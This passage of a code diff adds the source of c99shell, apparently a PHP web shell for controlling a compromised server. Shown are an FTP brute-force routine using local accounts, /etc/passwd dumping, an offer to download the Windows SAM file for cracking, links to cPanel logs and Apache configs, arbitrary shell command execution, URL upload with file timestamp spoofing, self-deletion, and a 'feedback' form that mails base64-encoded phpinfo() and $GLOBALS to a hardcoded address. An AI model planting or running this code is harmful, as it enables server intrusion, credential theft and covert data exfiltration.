H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $tmp = posix_getpwuid(fileowner($d)); + if ($tmp["name"] == "") {echo fileowner($d)."/";} + else {echo $tmp["name"]."/";} + $tmp = posix_getgrgid(filegroup($d)); + if ($tmp["name"] == "") {echo filegroup($d);} + else {echo $tmp["name"];} + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); exit;} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br><b>Safe-Mode: ".$hsafemode."</b><br><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"security\"><input type=\"hidden\" name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=\"submit\" value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" method=\"POST\"><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urldecode($encoder_input)."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form method=\"POST\"><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=\"hidden\" name=\"rndcode\" value=\"".$rnd."\"><input type=\"text\" name=\"submit\">&nbsp;<input type=\"submit\" value=\"YES\"></form>"; + } +} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAaW5ib3gucnU="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form method=\"POST\"><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><input type=\"hidden\" name=\"act\" value=\"".$dspact."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." directories, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = true; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".htmlspecialchars($surl)."\" method=\"POST\"><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1,1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=\"POST\"> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=\"submit\" name=\"submit\" value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = false; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1,1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "ps_aux";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = true;}} + echo "<form action=\"".$surl."act=cmd\" method=\"POST\"><textarea name=\"cmd\" cols=\"122\" rows=\"10\">".htmlspecialchars($cmd)."</textarea><input type=\"hidden\" name=\"d\" value=\"".$dispd."\"><br><br><input type=\"submit\" name=\"submit\" value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== false) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) {echo "<center><b>Can't open directory (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["dirs"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = @posix_getpwuid(fileowner($v)); + $gr = @posix_getgrgid(filegroup($v)); + $row[] = $ow["name"]."/".$gr["name"]; + $row[] = fileowner($v)."/".filegroup($v); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["dirs"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $k = $sort[0]; + if (!is_numeric($k)) {$k = $sort[0] = 0;} + if ($sort[1] != "a") {$sort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($sort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($sort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$sort[1]."\">".$row[$i]."</a>";} + } + $v = $sort[0]; + usort($objects["dirs"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($sort[1] == "d") + { + $objects["dirs"] = array_reverse($objects[dirs]); + $objects["files"] = array_reverse($objects[files]); + } + $objects = array_merge($objects["head"],$objects["dirs"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["dirs"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command"; exit;} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<input type=\"checkbox\" name=\"actbox[]\" value=\"".htmlspecialchars($v)."\">";} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a 